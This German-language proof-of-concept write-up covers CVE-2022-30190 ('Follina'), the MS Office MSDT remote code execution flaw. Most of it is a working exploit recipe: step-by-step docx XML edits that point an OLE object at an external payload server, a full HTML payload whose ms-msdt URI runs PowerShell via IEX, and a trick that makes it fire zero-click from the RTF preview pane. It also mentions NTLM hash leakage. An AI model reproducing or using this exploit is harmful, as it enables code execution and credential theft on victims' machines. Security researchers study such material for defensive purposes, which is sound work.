
PoC CVE-2022-30190 : CVE 0-day MS Office RCE, auch bekannt als msdt follina
Info : Neue Microsoft-Office-Zero-Day-Lücke bei Angriffen zur Ausführung von PowerShell genutzt
Am 29. Mai 2022 entdeckte das Team von Nao_Sec, ein unabhängiges Cybersicherheits-Forschungsteam, ein bösartiges Office-Dokument, das auf Virustotal geteilt wurde. Dieses Dokument nutzt ein ungewöhnliches, aber bekanntes Schema, um seine Opfer zu infizieren. Das Schema wurde von einigen EDR-Lösungen wie Microsoft Defender for Endpoint nicht als bösartig erkannt. Diese Schwachstelle könnte zu Codeausführung führen, ohne dass eine Benutzerinteraktion erforderlich ist, da sie keine Makros beinhaltet – außer wenn der Protected View Modus aktiviert ist. Es gibt noch keine zugewiesene CVE-Nummer.
Die Schwachstelle wird ausgenutzt, indem das MSProtocol-URI-Schema zum Laden von Code verwendet wird. Angreifer könnten bösartige Links, die mit „ms-msdt:" beginnen, in Microsoft-Office-Dokumenten, Vorlagen oder E-Mails einbetten. Diese werden danach ohne Benutzerinteraktion geladen und ausgeführt – außer wenn der Protected View Modus aktiviert ist. Allerdings kann die Konvertierung des Dokuments in das RTF-Format auch den Protected-View-Schutz umgehen.
MS-Office-docx-Dateien können externe OLE-Objektverweise als HTML-Dateien enthalten. Es gibt ein HTML-Schema „ms-msdt:", das das MSDT-Diagnosetool aufruft, das in der Lage ist, beliebigen Code (in den Parametern angegeben) auszuführen.
Das Ergebnis ist ein erschreckender Angriffsvektor, um durch das Öffnen bösartiger docx-Dateien RCE zu erlangen (ohne Makros zu verwenden).
Hier sind die Schritte zum Erstellen eines Proof-of-Concept-docx:
Öffnen Sie Word (verwendet: aktuelle Version 2019 Pro, 16.0.10386.20017), erstellen Sie ein Dummy-Dokument, fügen Sie ein (OLE-)Objekt (als Bitmap-Bild) ein und speichern Sie es als docx.
Bearbeiten Sie word/_rels/document.xml.rels in der docx-Struktur (es ist eine einfache ZIP-Datei). Ändern Sie das XML-Tag <Relationship> mit dem Attribut
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
und Target="embeddings/oleObject1.bin", indem Sie den Target-Wert ändern und das Attribut TargetMode hinzufügen:
Target = "http://<payload_server>/payload.html!"
TargetMode = "External"
Beachten Sie den Id-Wert (wahrscheinlich "rId5").
word/document.xml. Suchen Sie nach dem Tag <o:OLEObject ..> (mit r:id="rId5") und ändern Sie das Attribut von Type="Embed" auf Type="Link" und fügen Sie das Attribut UpdateMode="OnCall" hinzu.HINWEIS: Das erstellte bösartige docx ist fast dasselbe wie bei CVE-2021-44444.
http://<payload_server>/payload.html bereit:<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
Beachten Sie, dass:
Darüber hinaus kann das auslösende Payload entfernte Standorte erreichen. Auch wenn dies wahrscheinlich keine nicht vertrauenswürdige Binärdatei aufruft, überträgt die Verbindung dennoch NTLM-Hashes (was bedeutet, dass die Angreifer nun einen Hash des Windows-Passworts des Opfers besitzen), die von einem Gegner für weitere Post-Exploitation-Aktivitäten verwendet werden könnten.
Wenn Sie zusätzlich diese Elemente unter dem <o:OLEObject>-Element in word/document.xml bei Schritt 3 hinzufügen:
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
dann funktioniert es auch als RTF (öffnen Sie das resultierende docx und speichern Sie es als RTF).
Mit RTF muss die Datei nicht in Word geöffnet werden; es reicht aus, die Datei zu durchsuchen und sie sich in einem Vorschaufenster anzusehen. Das Vorschaufenster löst das externe HTML-Payload aus, und RCE ist ohne jeden Klick erreicht.